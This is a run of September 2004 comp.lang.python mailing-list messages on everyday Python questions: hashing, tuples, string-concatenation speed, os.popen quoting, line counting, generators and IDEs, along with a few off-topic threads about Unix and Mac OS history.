id(x) is perfectly functional. >> Mutation is not a problem if it doesn't affect equality comparisons. >> >> >> Alex > > The idea that I get from reading this thread is that objects that can be > type compared (comparing the contents) are not hashable, and they are > list, strings, tuples and dictionary. Is there any others that fall into > this category? Is there any way to make them hashable? Define the __hash__ method for the class. Strings for example, are hashable even though they comparisons are done with respect to the contents and not the id. Tuples are also: ; python Python 2.3.4 (#2, Aug 18 2004, 13:18:19) [GCC 3.3.4 (Debian 1:3.3.4-9)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> t1 = (1,2,3) >>> t2 = (1,2,3) >>> id(t1) 1075806412 >>> id(t2) 1075841140 >>> hash(t1) -821448277 >>> hash(t2) -821448277 >>> ; -- Sam Holden From spam at mouse-potato.com Thu Sep 2 16:31:14 2004 From: spam at mouse-potato.com (Pascal Bourguignon) Date: 02 Sep 2004 20:31:14 +0000 Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4PGdnfsOfdDPi63cRVn-tA@speakeasy.net> <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <877jrcjy1n.fsf@thalassa.informatimago.com> Message-ID: <87zn48h0q5.fsf@thalassa.informatimago.com> "Karl A. Krueger" writes: > In comp.lang.lisp Pascal Bourguignon wrote: > > "John Thingstad" writes: > >> Note the Mac OS 10 / Darwin uses a unix kernel because of all the > >> problems with interoperabillity OS 9 had with talking to Windows and > >> Unix boxes. > > > > No that's not the reason. The reason is ONLY because of the lack of > > virtual memory management (with separation of addressing spaces for > > processes) in MacOS. > > It was my impression that the Motorola 68000 CPU, upon which the > original Macintosh was based, did not support memory management in > hardware. At least, that's usually given as the reason that portable > Unix systems such as NetBSD will "never" run on the earlier 68k (or, > for that matter, 8086 or 80286) chips. That's not exactly true. There are some small problems with the instruction set, but at the time Motorola sold 68000, they sold PMMU and SMMU (segmented MMU) for it, and there was 68000 based unix workstations. Actually, the segmented MMU would have been a perfect match to the Memory Management of the MacOS. The problem was that they started with a 6809 and 64KB in mind for the Macintosh... -- __Pascal Bourguignon__ http://www.informatimago.com/ Our enemies are innovative and resourceful, and so are we. They never stop thinking about new ways to harm our country and our people, and neither do we. From peter at engcorp.com Fri Sep 17 08:05:15 2004 From: peter at engcorp.com (phansen) Date: Fri, 17 Sep 2004 08:05:15 -0400 Subject: Need script to download file at known address In-Reply-To: <10kkkkon0aoqj03@corp.supernews.com> References: <1gk5zhe.1s52tcf7c6ucjN%aleaxit@yahoo.com> <10kkkkon0aoqj03@corp.supernews.com> Message-ID: Jeff Shannon wrote: > Radioactive Man wrote: >> Are there any variants of the "open" commmand that >> allow location (drive and directory) of the file to be specified as >> well, for example, if I wanted to save the file as >> "D:\binaries\trash.gif" instead of the default location? > > As a matter of fact, the standard open() will handle that just fine -- > it accepts a pathname, rather than just a filename, so you can feed it > an absolute path like your example or a relative path ... But note that the directories have to exist already. If they don't, you need to use something like os.makedirs() to get 'em. -Peter From boomberschloss at yahoo.com Thu Sep 9 10:51:03 2004 From: boomberschloss at yahoo.com (Joachim Boomberschloss) Date: Thu, 9 Sep 2004 07:51:03 -0700 (PDT) Subject: possible bug in inheritence from tuple Message-ID: <20040909145103.26119.qmail@web41111.mail.yahoo.com> The following code should in my opinion have ended with (1,2,3,4). It works fine when inheriting from list. Is this a bug in python? >>> class Test(tuple): ... def __init__(self): ... tuple.__init__(self, (1,2,3,4)) ... >>> t = Test() >>> t () --------------------------------- Do you Yahoo!? Shop for Back-to-School deals on Yahoo! Shopping. -------------- next part -------------- An HTML attachment was scrubbed... URL: From triso at remove-me.cogeco.ca Thu Sep 9 20:05:52 2004 From: triso at remove-me.cogeco.ca (Tris Orendorff) Date: Fri, 10 Sep 2004 00:05:52 GMT Subject: YOU ALL SUCK! References: <1bf5bcb9.15695836@aol.com> Message-ID: carl.scharenberg at gmail.com (Carl Scharenberg) wrote in news:e930c085.0409020529.2db830fc at posting.google.com: >> This seems to be of somewhat better quality than the output of the >> typical random-text generator. Can anyone suggest something on CPAN >> useful for such? > > You can do this by analyzing a sample text at a higher level. Instead > of generating text from the frequency of single letters, you generate > using the frequencies of 2, 3, or 4-letter sequences. You analyze a > large text so you have a database of frequencies. When generating each > new character you look at the frequences of the letters given that the > 3 previous letters are 'the'. The possibilities are a space, 'r' > (their), 'y' (they), and some others. Overall it will generate words > and even phrases that seem to almost make sense. It is neat stuff. This is known as a Markov Chain and it works even better if you generate using words rather than letters. Using letters creates words and non words. The output is written in the same style as the input text. -- Sincerely, Tris Orendorff -----BEGIN GEEK CODE BLOCK----- Version: 3.12 GCS d++ s+:- a+ C+ UL++++ P+ L+ E- W+ N++ o- K++ w+ O+ M !V PS+ PE Y+ PGP t+ !5 X- R- tv--- b++ DI++ D+ G++ e++ h---- r+++ y+++ ------END GEEK CODE BLOCK------ From carribeiro at gmail.com Wed Sep 15 08:08:18 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Wed, 15 Sep 2004 09:08:18 -0300 Subject: Ranting about the state of Python IDEs for Windows In-Reply-To: <1r3c1k547v.fsf@rovereto.ifi.uio.no> References: <864d3709040913131077f1732d@mail.gmail.com> <96c2e938.0409141356.3a689f@posting.google.com> <1r3c1k547v.fsf@rovereto.ifi.uio.no> Message-ID: <864d370904091505084694d8ae@mail.gmail.com> On Wed, 15 Sep 2004 10:25:08 +0200, Kjetil Torgrim Homme wrote: > [Carlos Ribeiro]: > > > > I've once installed a freeware app that supported virtual desktops > > in Windows. It's useful, but it misses one feature of my wish > > list: persistence, or the ability to restart working exactly when > > I left things some time later. > > this might be nice, but is it really worthwhile? I only restart my > session a couple a times per year, and I'm not sure it is a good idea > to recreate the clutter of windows when I log back in. sometimes > going back to a clean slate is healthy. most of the applications I > use _do_ have session support, but I haven't enabled it. > -- > Kjetil T. (speaking from a Unix viewpoint) Well, that's a valid point. If you're using Unix/Linux, then it's possible as the system is stable enough to make it work. Under Windows... not a chance :-) Anyway, there's a good reason to have some kind of session persistence mechanism, but with a twist -- the ability to name sessions and to be able to stop/resume at will between them. If you work on several projects, you can have sessions for each project. For example: I'm currently developing two different systems. Each one could have its own session. I could stop working on one system, and restart with the other, and all context would be saved. Good IDEs do exactly this, but are limited to its own internal environment. Generalizing even more, I'm now preparing some presentations. For each one I need an editor, a drawing program, and a browser with lots of webpages opened (Firefox, thank you!). It would be nice to be able to restart working on a presentation with all context preserved -- the pages that I was reading, etc. It would make my work more productive, as I would not need to deal with it manually everytime I want to resume to some previous (unfinished) work.. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From jjl at pobox.com Thu Sep 30 13:01:36 2004 From: jjl at pobox.com (John J. Lee) Date: 30 Sep 2004 18:01:36 +0100 Subject: Python 2.4b1 release date? References: <87is9ykt9c.fsf@pobox.com> Message-ID: <8yarofm7.fsf@pobox.com> Peter Hansen writes: > John J. Lee wrote: > > Anybody know when 2.4b1 is currently planned for release? > > I'm sure I saw somebody in python-dev mention a date, but I can't > > find > > that post now. > > Google found this: > http://www.google.ca/search?q=cache:YBMzNEmmiNcJ:www.python.org/peps/pep-0320.html+python+2.4b1+date No, *you* found it :-) -- I spent ages trying to find it using Google... Thanks John From aleaxit at yahoo.com Sun Sep 5 12:41:04 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Sun, 5 Sep 2004 18:41:04 +0200 Subject: Question: tools for business apps development References: Message-ID: <1gjlram.g73rlx10en84jN%aleaxit@yahoo.com> Robert M. Emmons wrote: ... > a wonder -- is there Python support in Eclipse? I'm not certain. Yes, there is now (a relatively recent development), there was a talk about it at OSCON. Alex From Brian.Inglis at SystematicSW.Invalid Thu Sep 2 04:20:35 2004 From: Brian.Inglis at SystematicSW.Invalid (Brian Inglis) Date: Thu, 02 Sep 2004 08:20:35 GMT Subject: Xah Lee's Unixism References: <7fe97cc4.0408251356.34f2102a@posting.google.com> <1gj5eeq.gb3dk41wup9zwN%otto.wyss@orpatec.ch> <87hdqptl96.fsf_-_@thalassa.informatimago.com> <4dyXc.25792$Ot3.22106@twister.nyc.rr.com> <878yc0ucyl.fsf@thalassa.informatimago.com> <20040827135423.154$1T@newsreader.com> Message-ID: On Tue, 31 Aug 2004 19:30:38 +0000 (UTC) in alt.folklore.computers, Ian Wilson wrote: >David Schwartz wrote: > >> 'unixism' has nothing to do with *using* UNIX. >... >> only those people who use UNIXes are affected by 'unixism' > >Sorry, I don't see how an activity can be affected by something that has >nothing to do with that activity. > >Are you suggesting that Unix users don't have to deal with unixism? If >that were so, why would Xah Lee have such a bee in his bonnet about it? [2] > >Xah Lee says "unix should mean unixism, the way things are done in unix >platform" [1] > >Xah Lee also says "the unix shells ... is one giant unpurgeable shit >pile arose from ad hoc hacks of unixism." [2] > >It seems legit to wonder why he chooses to place his web-pages amongst >shit piles. ISTM that the criticism was better expressed by PDP-10ers in the "Unix Hater's Handbook", available online. For further thoughts, read plan 9 documents, to see where the original implementors agree. OTOH there's the other OSes that crash, crawl, or just get in the way of getting work done because you've got to do it their way or else! Feel free to use them instead, and be prepared to pay thru the nose. If you don't like some standard Unix OS feature, there's probably another one out there based on every system which ever existed to download, or you could write your own. If you don't like a standard Unix shell, there's probably another one out there based on every system which ever existed to download, or you could write your own. If you don't like a standard Unix editor, there's probably another one out there based on every system which ever existed to download, or you could write your own. etc... -- Thanks. Take care, Brian Inglis Calgary, Alberta, Canada Brian.Inglis at CSi.com (Brian[dot]Inglis{at}SystematicSW[dot]ab[dot]ca) fake address use address above to reply From trentm at ActiveState.com Tue Sep 21 12:11:42 2004 From: trentm at ActiveState.com (Trent Mick) Date: Tue, 21 Sep 2004 09:11:42 -0700 Subject: Python for Perl programmers? In-Reply-To: <2r9kfhF179tliU1@uni-berlin.de>; from markus.cl@gmx.de on Mon, Sep 20, 2004 at 11:09:56PM -0400 References: <414f98a5@news01.argolink.net> <2r9kfhF179tliU1@uni-berlin.de> Message-ID: <20040921091142.E12547@ActiveState.com> [Markus Dehmann wrote] > John Zhuang wrote: > > > Perl To Python Migration > > By Martin C. Brown > > > > Publisher : Addison Wesley > > Pub Date : November 01, 2001 > > ISBN : 0-201-73488-5 > > Pages : 320 > > Is a 2001 book still okay? Or would I have to learn a new python version > afterwards? It _is_ a little old, so you'd probably still have a few new things to learn: http://mboedick.org/miscellany/python_release_history.php But the "What's New in Python?" series of documents provide a clear and concise mechanism for reading up on the new stuff. What's New in Python 2.0, 2.1, 2.2, 2.3: http://aspn.activestate.com/ASPN/docs/ActivePython/2.3/whatsnew/overview.html What's New in Python 2.4 (still in development): http://www.python.org/dev/doc/devel/whatsnew/ Cheers, Trent -- Trent Mick TrentM at ActiveState.com From jack at performancedrivers.com Fri Sep 24 00:02:18 2004 From: jack at performancedrivers.com (Jack Diederich) Date: Fri, 24 Sep 2004 00:02:18 -0400 Subject: [OT] "Pre-announcement" of Python-based "computing appliance" project. In-Reply-To: References: <1n04l012a3f2vktokrc0gi7ji13tuvjkd9@4ax.com> <864d370904092305026f41795@mail.gmail.com> Message-ID: <20040924040218.GB8039@performancedrivers.com> On Thu, Sep 23, 2004 at 05:53:16PM -0700, Richard Hanson wrote: > Ksenia Marasanova wrote: > > > > My project, "code-named" Pathfinder > > > > Just be aware, there is also a Mac program called Pathfinder, in case > > you wanted to keep the name... > > As it happens, I had googled quite a while back and found more than > several apps (and other things) named Pathfinder -- seems it's rather > a popular name. So it remains merely a convenient "code-name." > > If the project gets off the ground, I *will* have to pick a name from > my growing list of possible candidates, though. > > (I've already thought of Doors... -- doors are more useful than > windows, aren't they? ;-) ) Hmm, you could go with Daleth, the Hewbrew letter that means Door. A glance at the first google page shows no software with that moniker. As a logo it isn't terribly sexy, but you could work on it (the current trend seems to be dropshadow, dropshadow, dropshadow). It also sounds vaugely "Dr Who." -Jack ps, to any whackadoodles: no neocon conspiracy here, it just happens that when I was young my parents sent me to a place called "a school" From bokr at oz.net Wed Sep 22 16:34:21 2004 From: bokr at oz.net (Bengt Richter) Date: 22 Sep 2004 20:34:21 GMT Subject: Python speed-up References: <415186cc$0$3897$4d4ebb8e@news.nl.uu.net> <1gkj2vn.4w5b464zur5rN%aleaxit@yahoo.com> Message-ID: On Wed, 22 Sep 2004 21:39:25 +0200, Gerrit wrote: >Alex Martelli wrote: >> Putting together a big string with a loop of 'bigstring+=piece' is >> perhaps the best-known performance trap in Python. Python 2.4 has >> turned somersaults to lessen the penalty you pay for this, but it's >> still pretty slow compared to "accumulate pieces in a list, ''.join the >> list when it's done". There's really nothing better than this _in >> general_. > >Why isn't cStringIO faster than concatenating strings? You are timing extra overheads besides the actual concatenation of the data, I beleive. > >Using python2.4: > >$ python timeit.py -s 'from cStringIO import StringIO; s=StringIO()' "s.write('foo')" >1000000 loops, best of 3: 0.555 usec per loop It should improve a little if you hoist out the s.write attribute lookup handicap from the loop, e.g., with swrite = s.write and then use swrite('foo') but you are still timing a function call in the mix. > >$ python timeit.py -s 's=""' "s+='foo'" >1000000 loops, best of 3: 0.383 usec per loop It should slow down a bit if you give it the same function-call handicap as swrite one way or another. > >$ python timeit.py -s 'L=[]' "L.append('foo')" >1000000 loops, best of 3: 0.32 usec per loop > >$ python timeit.py -s 'from StringIO import StringIO; s=StringIO()' "s.write('foo')" >100000 loops, best of 3: 3.19 usec per loop > >I was about to advise cStringIO as being much faster than concatenating >strings, but just before I was about to send the e-mail, I spied with my >little eye that the numbers were swapped - concatenating strings is >actually *faster* than using cStringIO! What's happening? > Apples vs oranges, partly, and Skip mentions s+='xxx' optimization for 2.4. Regards, Bengt Richter From cbuffer at NOSPAMrosecott.ukfsn.org Wed Sep 22 16:25:23 2004 From: cbuffer at NOSPAMrosecott.ukfsn.org (Ken Parkes) Date: Wed, 22 Sep 2004 21:25:23 +0100 Subject: Just curious References: <1gkfqak.kalu9hyqxvozN%aleaxit@yahoo.com> <10l0ej8j45fqq88@corp.supernews.com> Message-ID: On Tue, 21 Sep 2004 07:27:49 -0700, Jeffrey Froman wrote: > Alex Martelli wrote: > >> Apparently?some >> headers get mangled in such a way that your reader loses track of the >> threads (so does the one I'm using these days -- MacSOUP -- but the one >> I used to use, KNode, had no such problem). > > Using KNode here, and I see this happen regularly with c.l.p. as well. I > wind up using the search feature a lot to find the original post. > > Jeffrey Been looking at a few groups I would expect to have lots of mailing list contacts - linux kernel, debian, etc - and they shew the same effect. looks as though Robert Kern and Alex Martelli have won the prize :) Ken. From ed at leafe.com Fri Sep 24 10:17:06 2004 From: ed at leafe.com (Ed Leafe) Date: Fri, 24 Sep 2004 10:17:06 -0400 Subject: up with PyGUI! In-Reply-To: <864d3709040924070115d9d98a@mail.gmail.com> References: <414783DD.4070509@zephyrfalcon.org> <4lf4d.15151$pA.1180511@news20.bellglobal.com> <4151B7C4.6070003@zephyrfalcon.org> <2rfnp6F19gkpkU1@uni-berlin.de> <4152D05B.9020909@zephyrfalcon.org> <2rhjmpF1at3kjU1@uni-berlin.de> <864d3709040924070115d9d98a@mail.gmail.com> Message-ID: <69D101A3-0E34-11D9-8C15-003065B11E84@leafe.com> On Sep 24, 2004, at 10:01 AM, Carlos Ribeiro wrote: > Basically what it does is to process declarations like this: > > class MainFrame(FrameDescription): > > class b1(ButtonDescription): > size = (40, 40) > text = "b1" > > ... where FrameDescription and ButtonDescription are both derived from > a base Container class. When constructed, the MainFrame will contain > an **instance** called b1 from the class b1 (that's right, the same > name; the temporary class definition is gone). The metaclass creation > engine also respects the order of the declaration. How is this more powerful/flexible/robust than something like: class MainForm(dabo.ui.dForm): def __init__(self, parent=None): self.addObject(ButtonDescription, "b1") self.b1.Size = (40,40) self.b1.Caption = "b1" ...which is the standard syntax in Dabo for adding objects to a form (frame)? ___/ / __/ / ____/ Ed Leafe http://leafe.com/ http://dabodev.com/ From elainejackson7355 at home.com Fri Sep 3 00:52:29 2004 From: elainejackson7355 at home.com (Elaine Jackson) Date: Fri, 03 Sep 2004 04:52:29 GMT Subject: namespace question References: Message-ID: It's what I want in the sense that it returns the correct dictionary when globals is invoked interactively. What I want is to have a function that can be imported into the interpreter and that will return that same dictionary. "Phil Frost" wrote in message news:mailman.2771.1094136818.5135.python-list at python.org... | I'm not sure I understand what you are asking, but maybe globals() is | what you want? | | On Thu, Sep 02, 2004 at 01:52:46PM +0000, Elaine Jackson wrote: | > I would like to be able to write a function f, which will live in a module M, | > and will call a function g, such that, when f is imported from M into the | > interpreter, and invoked there, its invokation of g will return the | > interpreter's global namespace. Is there a way to do this and, if so, how? | > Muchas gracias for any and all assistance. | > | > Peace From nick at craig-wood.com Thu Sep 30 07:30:14 2004 From: nick at craig-wood.com (Nick Craig-Wood) Date: 30 Sep 2004 11:30:14 GMT Subject: Avoiding shell metacharacters in os.popen References: Message-ID: Donn Cave wrote: > Well, it sounded to me like the real problem is that Microsoft > Windows doesn't support any functional equivalent to spawnv for > pipes. I don't know if that's true or not, No me neither! > I'm just taking it from you that os.popen2 doesn't support a list > of parameters [1] on Microsoft Windows platforms, Well it didn't work when I tried it. > and inferring that it doesn't because it can't - there isn't any > specific function that does it, and you can't just roll your own > out of pipe/fork/execve like you can on UNIX, as in fact popen2 > does. It could always do " ".join(cmd) which would leave windows users exactly where they are at the moment. I'll probably end up writing a little wrapper to popen2 which does something like that, possibly with a bit better quoting for windows. > If that's really a question and not a well known fact, you > might pose it again with a subject line that would attract > more attention from Microsoft Windows developers, since > only they would know. The attempt to cast it as a general > Python problem could be counterproductive, if it means the > people who read about this problem tend to be those who > don't really suffer from it. Good point. I'll have a think about it (and a look at the Windows source of popen2!) -- Nick Craig-Wood -- http://www.craig-wood.com/nick From ialbert at mailblocks.com Wed Sep 15 11:39:22 2004 From: ialbert at mailblocks.com (Istvan Albert) Date: Wed, 15 Sep 2004 11:39:22 -0400 Subject: optimizing memory utilization In-Reply-To: <1db49385.0409141355.5d204a03@posting.google.com> References: <1db49385.0409141355.5d204a03@posting.google.com> Message-ID: > can't believe that python requires memory 200% "overhead" to store my > data as lists of lists. And it almost certainly doesn't. One one hand there could be a sizebale overhead when running your program even when loading a single data line. So don't extrapolate from a small datasets. But what I believe happens to you is that you keep references alive and you end up with data duplication. For example if you do: lines = file('whatever').readlines() then you say for example: stripped_lines = [ line.strip() for line in lines ] you've just made your program use twice the memory at that point of the code. You may also inadvertently keep your 'lines' variable in the scope of the full program then you'll effectively end up with a lot more memory consumption overall. Check and plug all these holes. Istvan. From cmg at dok.org Wed Sep 22 15:33:01 2004 From: cmg at dok.org (Chris Green) Date: Wed, 22 Sep 2004 15:33:01 -0400 Subject: detecting variable types References: Message-ID: <87k6umgkuq.fsf@ion.xlipstream.com> "Jay" writes: > I'm sure this is a really dumb question, but how do you detect a variable > type in Python? > > For example, I want to know if the variable "a" is a list of strings or a > single string. How do I do this? >>> type("a") >>> type(1) you should look at the types module as well >>> type("a") == types.StringType True -- Chris Green This is my signature. There are many like it but this one is mine. From michele.simionato at gmail.com Fri Sep 3 00:18:05 2004 From: michele.simionato at gmail.com (Michele Simionato) Date: 2 Sep 2004 21:18:05 -0700 Subject: age of Python programmers References: <889cbba0.0408181206.1812881c@posting.google.com> <6amZc.17353$ni.8118@okepread01> <822221bb04090109167035d328@mail.gmail.com> Message-ID: <4edc17eb.0409022018.27a96821@posting.google.com> Andrew Durdin wrote in message news:... > There seem to be a lot of Pythoneers who started with BASIC -- I guess > that's what came with most "home computers" in those days. I started > at 8 with BASIC on an Amstrad CPC6128 (though I played games more than > I wrote programs :). I started in the '85 programming Basic on a Casio pocket calculator; it had 1k of RAM, I had to erase old programs each time to make room to new ones. Somebody can recognize the model? I forgot, it was someting like Casio PC ## ... Michele Simionato From janimal at mail.trillegaarden.dk Mon Sep 20 09:36:34 2004 From: janimal at mail.trillegaarden.dk (Ling Lee) Date: Mon, 20 Sep 2004 15:36:34 +0200 Subject: How to count lines in a text file ? References: <414ed896$0$26378$ba624c82@nntp02.dk.telia.net> Message-ID: <414edcba$0$26399$ba624c82@nntp02.dk.telia.net> Thanks for you replies :) I just ran the program with a different file name, and it only counts the number of lines in the file named test.txt. I try to give it a nother try with your input... Thanks again... for the fast reply... Hope I get it right this time :) "Phil Frost" wrote in message news:mailman.3562.1095686871.5135.python-list at python.org... > Yes, you need a for loop, and a count variable. You can count in several > ways. File objects are iterable, and they iterate over the lines in the > file. readlines() returns a list of the lines, which will have the same > effect, but because it builds the entire list in memory first, it uses > more memory. Example: > > ######## > > filename = raw_input('file? ') > file = open(filename) > > lines = 0 > for line in file: > # line is ignored here, but it contains each line of the file, > # including the newline > lines += 1 > > print '%r has %r lines' % (filename, lines) > > ######## > > another alternative is to use the standard posix program "wc" with the > -l option, but this isn't Python. > > On Mon, Sep 20, 2004 at 03:18:53PM +0200, Ling Lee wrote: >> Hi all. >> >> I'm trying to write a program that: >> 1) Ask me what file I want to count number of lines in, and then counts >> the >> lines and writes the answear out. >> >> 2) I made the first part like this: >> >> in_file = raw_input("What is the name of the file you want to open: ") >> in_file = open("test.txt","r") >> text = in_file.read() >> >> 3) I think that I have to use a for loop ( something like: for line in >> text: >> count +=1) >> Or maybee I have to do create a def: something like: ( def loop(line, >> count)), but not sure how to do this properly. >> And then perhaps use the readlines() function, but again not quite sure >> how >> to do this. So do one of you have a good idea. >> >> Thanks for all help From daniel at syrinx.net Thu Sep 9 08:17:52 2004 From: daniel at syrinx.net (Daniel Ellison) Date: Thu, 09 Sep 2004 08:17:52 -0400 Subject: Question: tools for business apps development In-Reply-To: References: <1gjlr3h.1g2eq2uki1ytcN%aleaxit@yahoo.com> <864d370904090606465938fea5@mail.gmail.com> Message-ID: <2qavr3Ft7dgdU1@uni-berlin.de> Carlos Ribeiro wrote: > > I understand that some people really like Flash. It's nifty and > powerful. And the CSS+HTML+JavaScript combination is slow, tricky, > confusing, complex, etc. -- it's just asking for a redesign, but there > is way too much code written for it to happen in any dramatic fashion. > However, Flash is not an open standard, and that's a big problem. Who > can guarantee that the upcoming versions of the Flash plugin will keep > the same interface? It's a risk that you have to take into account. > No, Flash isn't SVG. Luckily. But, as has been mentioned before, the swf format is published by Macromedia and is freely available. The Flash plugin is in well over 90% of all browsers in the world (actually it's around 95% for the Flash 6 plugin). It would behoove Macromedia *not* to make any drastic changes to Flash in order that they maintain compatibility with the hundreds of millions of installations already out there, not to mention the tens of thousands of Flash animations, advertisements (yuck!) and now web applications that depend on the Flash player/plugin. A risk, yes, but not much of one. Dan From marfadeut at gmx.de Mon Sep 27 15:30:23 2004 From: marfadeut at gmx.de (M. Faust) Date: Mon, 27 Sep 2004 21:30:23 +0200 Subject: f2py error - windows xp (F2PY-2.43.239_1806) In-Reply-To: References: Message-ID: Thanks, Bethold for a good hint ... I had in "Numeric/arrayobject.h" typedef struct { PyObject_HEAD char *data; int nd; int *dimensions, *strides; PyObject *base; PyArray_Descr *descr; int flags; } PyArrayObject; After adding PyObject *weakreflist; I could generate a hello.pyd. Python really is an incredibly versatile and powerful tool. Markus > > Try to find your "Numeric/arrayobject.h". Mine has > > typedef struct { > PyObject_HEAD > char *data; > int nd; > int *dimensions, *strides; > PyObject *base; > PyArray_Descr *descr; > int flags; > PyObject *weakreflist; > } PyArrayObject; > > and is from Numeric 23.3. In one of my installations updating to > Numeric to 23.3 solved a similar error. > > Regards > Berthold > From fperez528 at yahoo.com Mon Sep 20 16:07:23 2004 From: fperez528 at yahoo.com (Fernando Perez) Date: Mon, 20 Sep 2004 14:07:23 -0600 Subject: Unicode string in python-plplot? References: Message-ID: Wojciech Zabolotny wrote: > Hi All, > > I have to build some relatively complex plots using the Python script. > It seems to me, that the python-plplot is a good library, allowing to > produce both: screen plots for interactive use, and the PostScript plots > for publication purposes. > Unfortunately, it doesn't work with the unicode strings (or at least > I don't know how to use it with unicode strings). You might want to try matplotlib. I don't specifically know about its unicode support, but I'd guess it's either there or can be added if you point out problems. Matplotlib is very actively developed, and has a really clean interface which allows interactive and off-line plots, as well as being available as a widget you can embed in your own Tk, GTK or WX apps. Cheers, f From zathras at thwackety.com Tue Sep 28 18:01:58 2004 From: zathras at thwackety.com (Michael Sparks) Date: Tue, 28 Sep 2004 23:01:58 +0100 (BST) Subject: all pairs of items in a list without indexing? In-Reply-To: Message-ID: On Tue, 28 Sep 2004, Steven Bethard wrote: > So I need to do something like: > > for i in range(len(l)): > for j in range(i+1, len(l)): > # do something with (l[i], l[j]) > > where I get all pairs of items in a list (where I'm thinking of pairs > as sets, not tuples, so order doesn't matter). There isn't really > anything wrong with the solution here, but since Python's for-each > construction is so nice, I usually try to avoid range(len(..)) type > calls and list indexing when I can... Is there any way to do this > without indexing, e.g.: You want to do this: (eg based on what it sounds like you want to do) >>> taglist=["WINDOW", [10,10,40,40], "TITLE", "Hello World"] >>> for i in pairs(taglist): ... print i ... ('WINDOW', [10, 10, 40, 40]) ('TITLE', 'Hello World') >>> So let's just write pairs: def pairs(l): x=iter(l) while 1: yield x.next(),x.next() There might be a more trivial way of doing this, but this is the first approach that sprang to mind. This doesn't strictly speaking require a list as source, and obviously doesn't require an intermediate list. Regards, Michael. From carribeiro at gmail.com Sun Sep 26 13:50:18 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Sun, 26 Sep 2004 14:50:18 -0300 Subject: Question: How efficient is using generators for coroutine-like problems? In-Reply-To: <1gkpx50.1rv6aq03ovbehN%aleaxit@yahoo.com> References: <1gkpx50.1rv6aq03ovbehN%aleaxit@yahoo.com> Message-ID: <864d370904092610505c95f4f3@mail.gmail.com> On Sun, 26 Sep 2004 11:47:03 +0200, Alex Martelli wrote: > i.e. you can get result.append into a local once at the start and end up > almost 3 times faster than with your approach, but even without this > you're still gaining handsomely with good old result.append vs your > preferred approach (where a singleton list gets created each time). Thanks for the info -- specially regarding the "a=result.append" trick. It's a good one, and also helps to make the code less cluttered. > > Now, just because I can do it does not mean it's a good idea :-) For > > particular cases, a measurement can be done. But I'm curious about the > > generic case. What is the performance penalty of using generators in > > situations as the ones shown above? > > Sorry, there's no "generic case" that I can think of. Since > implementations of generators, list appends, etc, are allowed to change > and get optimized at any transition 2.3 -> 2.4 -> 2.5 -> ... I see even > conceptually no way to compare performance except on a specific case. > > "Generally" I would expect: if you're just looping on the result, a > generator should _gain_ performance wrt making a list. Consider cr.py: That's my basic assumption. BTW, I had an alternative idea. I really don't need to use "\n".join(). All that I need is to concatenate the strings yielded by the generator, and the strings themselves should include the necessary linebreaks. I'm not a timeit wizard, and neither is a slow Windows machine reliable enough for timing tight loops, but anyway here are my results: ---- testgen.py ---- def mygen(): for x in range(100): yield "%d: this is a test string.\n" % x def test_genlist(): return "".join(list(mygen())) def test_addstr(): result = "" for x in range(40): # there is no append method for strings :( result = result + "%d: this is a test string.\n" % x return result def test_gen_addstr(): result = "" for x in mygen(): result = result + x return result I've added the "%" operator because most of the time we are going to work with generated strings, not with constants, and I thought it would give a better idea of the timing. >python c:\python23\lib\timeit.py -s"import timegen" "timegen.test_genlist()" 1000 loops, best of 3: 698 usec per loop >python c:\python23\lib\timeit.py -s"import timegen" "timegen.test_addstr()" 1000 loops, best of 3: 766 usec per loop >python c:\python23\lib\timeit.py -s"import timegen" "timegen.test_gen_addstr()" 1000 loops, best of 3: 854 usec per loop The test has shown that adding strings manually is just a tad slower than joining. But then I've decided to simplify my tests, and to add small constant strings. The results have surprised me: ---- testgen2.py ---- def mygen(): for x in range(100): yield "." def test_genlist(): return "".join(list(mygen())) def test_addstr(): result = "" for x in range(100): # there is no append method for strings :( result = result + "." return result def test_gen_addstr(): result = "" for x in mygen(): result = result + x return result >python c:\python23\lib\timeit.py -s"import timegen2" "timegen2.test_genlist()" 1000 loops, best of 3: 368 usec per loop >python c:\python23\lib\timeit.py -s"import timegen2" "timegen2.test_addstr()" 1000 loops, best of 3: 263 usec per loop >python c:\python23\lib\timeit.py -s"import timegen2" "timegen2.test_gen_addstr()" 1000 loops, best of 3: 385 usec per loop Now, it turns out that for this case, adding strings was *faster* than joining lines. But in all cases, the generator was slower than adding strings. Up to this point, the answer to my question is: generators _have_ a measurable performance penalty, and using a generator to return text line by line to append later is slower than appending to the return string line by line. But also, the difference between testbeds 1 and 2 show that this is not the dominating factor in performance -- simply adding some string manipulation made the test run much slower. Finally, I *haven't* done any testing using 2.4, though, and generators are supposed to perform better with 2.4. ... and I was about to finish it here, but I decided to check another thing. There's still a catch. Generators were slower, because there is a implicit function call whenever a new value is requested. So I've added a new test: ---- testgen2.py ---- def teststr(): return "." def test_addstr_funccall(): result = "" for x in range(100): result = result + teststr() return result >python c:\python23\lib\timeit.py -s"import timegen2" "timegen2.test_addstr_funccall()" 1000 loops, best of 3: 436 usec per loop In this case, the code was measurably _slower_ than the generator version (435 vs 385), and both are adding strings. It only shows how hard is to try to optimize stuff -- depending on details, answers can be totally different. My conclusion, as of now, is that using generators in templating mechanisms is a valuable tool as far as readability is concerned, but it should not be done solely because of performance concerns. It may be faster in some cases, but it's slower in the simplest situations. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From FBatista at uniFON.com.ar Wed Sep 1 13:57:34 2004 From: FBatista at uniFON.com.ar (Batista, Facundo) Date: Wed, 1 Sep 2004 14:57:34 -0300 Subject: negative stride list slices Message-ID: [dave at boost-consulting.com] #- >>> print range(10)[:-3:-1] #- [9,8] #- #- I found this result very surprising, and would just like to see the #- rules written down somewhere. Slice objects Slice 